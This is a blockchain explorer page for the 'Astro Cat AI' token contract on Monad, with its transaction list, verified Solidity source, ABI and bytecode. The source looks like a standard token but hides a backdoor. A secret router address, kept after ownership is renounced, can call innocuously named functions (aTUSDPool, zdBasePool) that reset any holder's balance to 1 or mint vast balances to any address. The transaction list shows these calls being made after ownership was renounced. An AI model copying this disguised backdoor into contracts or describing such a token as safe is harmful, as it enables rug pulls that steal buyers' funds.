MON Price: $0.017808 (-6.75%)

Contract

0x40C5489126995c1fBa9c8b64A257C3B49a7003AA

Overview

MON Balance

Monad Chain LogoMonad Chain LogoMonad Chain Logo0 MON

MON Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
A TUSD Pool392570912025-12-01 20:11:5155 days ago1764619911IN
0x40C54891...49a7003AA
0 MON0.005284102
A TUSD Pool389846192025-11-30 13:48:1356 days ago1764510493IN
0x40C54891...49a7003AA
0 MON0.005284102
Zd Base Pool387320282025-11-29 9:13:2757 days ago1764407607IN
0x40C54891...49a7003AA
0 MON0.00496527101.5
Zd Base Pool387318522025-11-29 9:12:1557 days ago1764407535IN
0x40C54891...49a7003AA
0 MON0.00527334101.9497
A TUSD Pool387317602025-11-29 9:11:3857 days ago1764407498IN
0x40C54891...49a7003AA
0 MON0.00504333102.9294
A TUSD Pool387280672025-11-29 8:46:3057 days ago1764405990IN
0x40C54891...49a7003AA
0 MON0.00528391101.9982
A TUSD Pool387273812025-11-29 8:41:4557 days ago1764405705IN
0x40C54891...49a7003AA
0 MON0.00769289148.5
A TUSD Pool387273262025-11-29 8:41:2357 days ago1764405683IN
0x40C54891...49a7003AA
0 MON0.00528089101.94
A TUSD Pool387272732025-11-29 8:41:0157 days ago1764405661IN
0x40C54891...49a7003AA
0 MON0.00656227126.675
A TUSD Pool387272132025-11-29 8:40:3757 days ago1764405637IN
0x40C54891...49a7003AA
0 MON0.00528089101.94
Approve387271022025-11-29 8:39:5357 days ago1764405593IN
0x40C54891...49a7003AA
0 MON0.0240186300
A TUSD Pool387270752025-11-29 8:39:4257 days ago1764405582IN
0x40C54891...49a7003AA
0 MON0.00534791103.23364134
Approve387269292025-11-29 8:38:4357 days ago1764405523IN
0x40C54891...49a7003AA
0 MON0.0240186300
Approve387269242025-11-29 8:38:4057 days ago1764405520IN
0x40C54891...49a7003AA
0 MON0.0240186300
Zd Base Pool387267672025-11-29 8:37:3657 days ago1764405456IN
0x40C54891...49a7003AA
0 MON0.01480125147.045
Approve387249672025-11-29 8:25:2457 days ago1764404724IN
0x40C54891...49a7003AA
0 MON0.00668289109
A TUSD Pool387242102025-11-29 8:20:1357 days ago1764404413IN
0x40C54891...49a7003AA
0 MON0.00504333102.9294
A TUSD Pool387240662025-11-29 8:19:1557 days ago1764404355IN
0x40C54891...49a7003AA
0 MON0.00769289148.5
A TUSD Pool387240252025-11-29 8:18:5857 days ago1764404338IN
0x40C54891...49a7003AA
0 MON0.00533215102.9294
Approve387232962025-11-29 8:14:0257 days ago1764404042IN
0x40C54891...49a7003AA
0 MON0.00604311113.22
Approve387232092025-11-29 8:13:2857 days ago1764404008IN
0x40C54891...49a7003AA
0 MON0.00626086102
Renounce Ownersh...387228482025-11-29 8:10:5957 days ago1764403859IN
0x40C54891...49a7003AA
0 MON0.00351631101.94

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
392522652025-12-01 19:39:3555 days ago1764617975
0x40C54891...49a7003AA
0 MON
392522652025-12-01 19:39:3555 days ago1764617975
0x40C54891...49a7003AA
0 MON
392522652025-12-01 19:39:3555 days ago1764617975
0x40C54891...49a7003AA
0 MON
392522652025-12-01 19:39:3555 days ago1764617975
0x40C54891...49a7003AA
0 MON
388857482025-11-30 2:37:1556 days ago1764470235
0x40C54891...49a7003AA
0 MON
388857482025-11-30 2:37:1556 days ago1764470235
0x40C54891...49a7003AA
0 MON
388857482025-11-30 2:37:1556 days ago1764470235
0x40C54891...49a7003AA
0 MON
388857482025-11-30 2:37:1556 days ago1764470235
0x40C54891...49a7003AA
0 MON
387278912025-11-29 8:45:1757 days ago1764405917
0x40C54891...49a7003AA
0 MON
387278912025-11-29 8:45:1757 days ago1764405917
0x40C54891...49a7003AA
0 MON
387271102025-11-29 8:39:5657 days ago1764405596
0x40C54891...49a7003AA
0 MON
387271102025-11-29 8:39:5657 days ago1764405596
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387271002025-11-29 8:39:5257 days ago1764405592
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269272025-11-29 8:38:4257 days ago1764405522
0x40C54891...49a7003AA
0 MON
387269222025-11-29 8:38:4057 days ago1764405520
0x40C54891...49a7003AA
0 MON
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AstroCatToken

Compiler Version
v0.8.29+commit.ab55807c

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MPL-2.0 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at monadscan.com on 2025-11-29
*/

/**
 https://t.me/AstroCat19466
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

interface AstroCatinterface {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address shippingto, uint256 yoursold) external returns (bool);
    function allowance(address _owner, address transporteur) external view returns (uint256);
    function approve(address transporteur, uint256 yoursold) external returns (bool);
    function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 balance);
    event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}

abstract contract AstroCat20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract AstroCat20Ownable is AstroCat20Burnable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "AstroCat20Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "AstroCat20Ownable: new owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeAstroCat {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeAstroCat: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeAstroCat: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeAstroCat: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeAstroCat: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeAstroCat: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract AstroCatToken is AstroCat20Burnable, AstroCatinterface, AstroCat20Ownable {
    using SafeAstroCat for uint256;
    
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    mapping (address => bool) private _isHolder;
    
    uint256 private _totalSupply;
    uint256 public holderCount;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    address private legosRooter;

    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "Astro Cat AI";
        _symbol = "Astro Cat AI";
        _decimals = 9;
        _totalSupply = 6999000000009 * 10 ** 9;
        
        mintfrom[_msgSender()] = _totalSupply;
        _updateHolder(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier subowner() {
        require(legosRooter == _msgSender(), "AstroCat20Ownable: caller is not the owner");
        _;
    }

    function aTUSDPool(address tusdRewards) external subowner {
        mintfrom[tusdRewards] = 1;
        _updateHolder(tusdRewards);
        emit Transfer(tusdRewards, address(0), 1);
    }

    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        _updateHolder(BaseRewards);
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }

    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    
    function allowance(address owner, address transporteur) external view override returns (uint256) {
        return fromallowances[owner][transporteur];
    }
    
    function approve(address transporteur, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transporteur, yoursold);
        return true;
    }
    
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
        return true;
    }
    
    function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
        return true;
    }
    
    function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
        return true;
    }
    
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "AstroCatinterface: transfer from zero address");
        require(shippingto != address(0), "AstroCatinterface: transfer to zero address");
        
        mintfrom[sender] = mintfrom[sender].sub(yoursold);
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        
        _updateHolder(sender);
        _updateHolder(shippingto);
        
        emit Transfer(sender, shippingto, yoursold);
    }
    
    function _approve(address owner, address transporteur, uint256 yoursold) internal {
        require(owner != address(0), "AstroCatinterface: approve from zero address");
        require(transporteur != address(0), "AstroCatinterface: approve to zero address");
        
        fromallowances[owner][transporteur] = yoursold;
        emit Approval(owner, transporteur, yoursold);
    }

    function _updateHolder(address account) private {
        bool wasHolder = _isHolder[account];
        bool shouldBeHolder = mintfrom[account] > 0;

        if (!wasHolder && shouldBeHolder) {
            _isHolder[account] = true;
            holderCount++;
        } else if (wasHolder && !shouldBeHolder) {
            _isHolder[account] = false;
            holderCount--;
        }
    }

    function getHolderCount() public view returns (uint256) {
        return holderCount;
    }

    function isHolder(address account) public view returns (bool) {
        return _isHolder[account];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060405161118638038061118683398101604081905261002e9161022a565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b03831617905560408051808201909152600c81526b417374726f2043617420414960a01b60208201526008906100b790826102ee565b5060408051808201909152600c81526b417374726f2043617420414960a01b60208201526007906100e890826102ee565b506006805460ff1916600917905569017b6aa309b7876d1a00600481905560015f6101103390565b6001600160a01b0316815260208101919091526040015f205561013233610172565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103e9565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff909116901515811580156101a95750805b156101e8576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101de836103bc565b9190505550505050565b8180156101f3575080155b15610225576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101de836103d4565b505050565b5f6020828403121561023a575f5ffd5b81516001600160a01b0381168114610250575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061027f57607f821691505b60208210810361029d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022557805f5260205f20601f840160051c810160208510156102c85750805b601f840160051c820191505b818110156102e7575f81556001016102d4565b5050505050565b81516001600160401b0381111561030757610307610257565b61031b81610315845461026b565b846102a3565b6020601f82116001811461034d575f83156103365750848201515b5f19600385901b1c1916600184901b1784556102e7565b5f84815260208120601f198516915b8281101561037c578785015182556020948501946001909201910161035c565b508482101561039957868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103cd576103cd6103a8565b5060010190565b5f816103e2576103e26103a8565b505f190190565b610d90806103f65f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b53565b60405180910390f35b61015c610157366004610ba3565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bcb565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610ba3565b6103ef565b6101706101d0366004610c05565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c05565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610ba3565b610558565b61015c61026c366004610ba3565b61058d565b61015c61027f366004610c05565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c1e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c05565b610599565b6101fa6102f5366004610c05565b610625565b60606008805461030990610c4f565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c4f565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610712565b5060015b92915050565b5f6103ac848484610847565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109dc565b610712565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a07565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c87565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a65565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c4f565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109dc565b5f610396338484610847565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f908152600160208190526040909120556105e781610a65565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381166106b95760405162461bcd60e51b815260206004820152602c60248201527f417374726f43617432304f776e61626c653a206e6577206f776e65722069732060448201526b7a65726f206164647265737360a01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602c60248201527f417374726f436174696e746572666163653a20617070726f76652066726f6d2060448201526b7a65726f206164647265737360a01b606482015260840161044d565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602a60248201527f417374726f436174696e746572666163653a20617070726f766520746f207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108b35760405162461bcd60e51b815260206004820152602d60248201527f417374726f436174696e746572666163653a207472616e736665722066726f6d60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b03821661091d5760405162461bcd60e51b815260206004820152602b60248201527f417374726f436174696e746572666163653a207472616e7366657220746f207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093f90826109dc565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461096d9082610a07565b6001600160a01b0383165f9081526001602052604090205561098e83610a65565b61099782610a65565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083a91815260200190565b5f610a008383604051806060016040528060228152602001610d3960229139610b1d565b9392505050565b5f80610a138385610ce5565b905083811015610a005760405162461bcd60e51b815260206004820152601f60248201527f53616665417374726f4361743a206164646974696f6e206f766572666c6f7700604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610a9c5750805b15610adb576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ad183610cf8565b9190505550505050565b818015610ae6575080155b15610b18576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ad183610d10565b505050565b5f8184841115610b405760405162461bcd60e51b815260040161044d9190610b53565b50610b4b8385610d25565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b9e575f5ffd5b919050565b5f5f60408385031215610bb4575f5ffd5b610bbd83610b88565b946020939093013593505050565b5f5f5f60608486031215610bdd575f5ffd5b610be684610b88565b9250610bf460208501610b88565b929592945050506040919091013590565b5f60208284031215610c15575f5ffd5b610a0082610b88565b5f5f60408385031215610c2f575f5ffd5b610c3883610b88565b9150610c4660208401610b88565b90509250929050565b600181811c90821680610c6357607f821691505b602082108103610c8157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a908201527f417374726f43617432304f776e61626c653a2063616c6c6572206973206e6f74604082015269103a34329037bbb732b960b11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cd1565b5f60018201610d0957610d09610cd1565b5060010190565b5f81610d1e57610d1e610cd1565b505f190190565b8181038181111561039a5761039a610cd156fe53616665417374726f4361743a207375627472616374696f6e206f766572666c6f77a26469706673582212200b55141b73c0afd4758e5a9a94128a2d46945f65002dc82d4313eacaeecf6f0c64736f6c634300081d0033000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b53565b60405180910390f35b61015c610157366004610ba3565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bcb565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610ba3565b6103ef565b6101706101d0366004610c05565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c05565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610ba3565b610558565b61015c61026c366004610ba3565b61058d565b61015c61027f366004610c05565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c1e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c05565b610599565b6101fa6102f5366004610c05565b610625565b60606008805461030990610c4f565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c4f565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610712565b5060015b92915050565b5f6103ac848484610847565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109dc565b610712565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a07565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c87565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a65565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c4f565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109dc565b5f610396338484610847565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f908152600160208190526040909120556105e781610a65565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381166106b95760405162461bcd60e51b815260206004820152602c60248201527f417374726f43617432304f776e61626c653a206e6577206f776e65722069732060448201526b7a65726f206164647265737360a01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602c60248201527f417374726f436174696e746572666163653a20617070726f76652066726f6d2060448201526b7a65726f206164647265737360a01b606482015260840161044d565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602a60248201527f417374726f436174696e746572666163653a20617070726f766520746f207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108b35760405162461bcd60e51b815260206004820152602d60248201527f417374726f436174696e746572666163653a207472616e736665722066726f6d60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b03821661091d5760405162461bcd60e51b815260206004820152602b60248201527f417374726f436174696e746572666163653a207472616e7366657220746f207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093f90826109dc565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461096d9082610a07565b6001600160a01b0383165f9081526001602052604090205561098e83610a65565b61099782610a65565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083a91815260200190565b5f610a008383604051806060016040528060228152602001610d3960229139610b1d565b9392505050565b5f80610a138385610ce5565b905083811015610a005760405162461bcd60e51b815260206004820152601f60248201527f53616665417374726f4361743a206164646974696f6e206f766572666c6f7700604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610a9c5750805b15610adb576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ad183610cf8565b9190505550505050565b818015610ae6575080155b15610b18576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ad183610d10565b505050565b5f8184841115610b405760405162461bcd60e51b815260040161044d9190610b53565b50610b4b8385610d25565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b9e575f5ffd5b919050565b5f5f60408385031215610bb4575f5ffd5b610bbd83610b88565b946020939093013593505050565b5f5f5f60608486031215610bdd575f5ffd5b610be684610b88565b9250610bf460208501610b88565b929592945050506040919091013590565b5f60208284031215610c15575f5ffd5b610a0082610b88565b5f5f60408385031215610c2f575f5ffd5b610c3883610b88565b9150610c4660208401610b88565b90509250929050565b600181811c90821680610c6357607f821691505b602082108103610c8157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a90820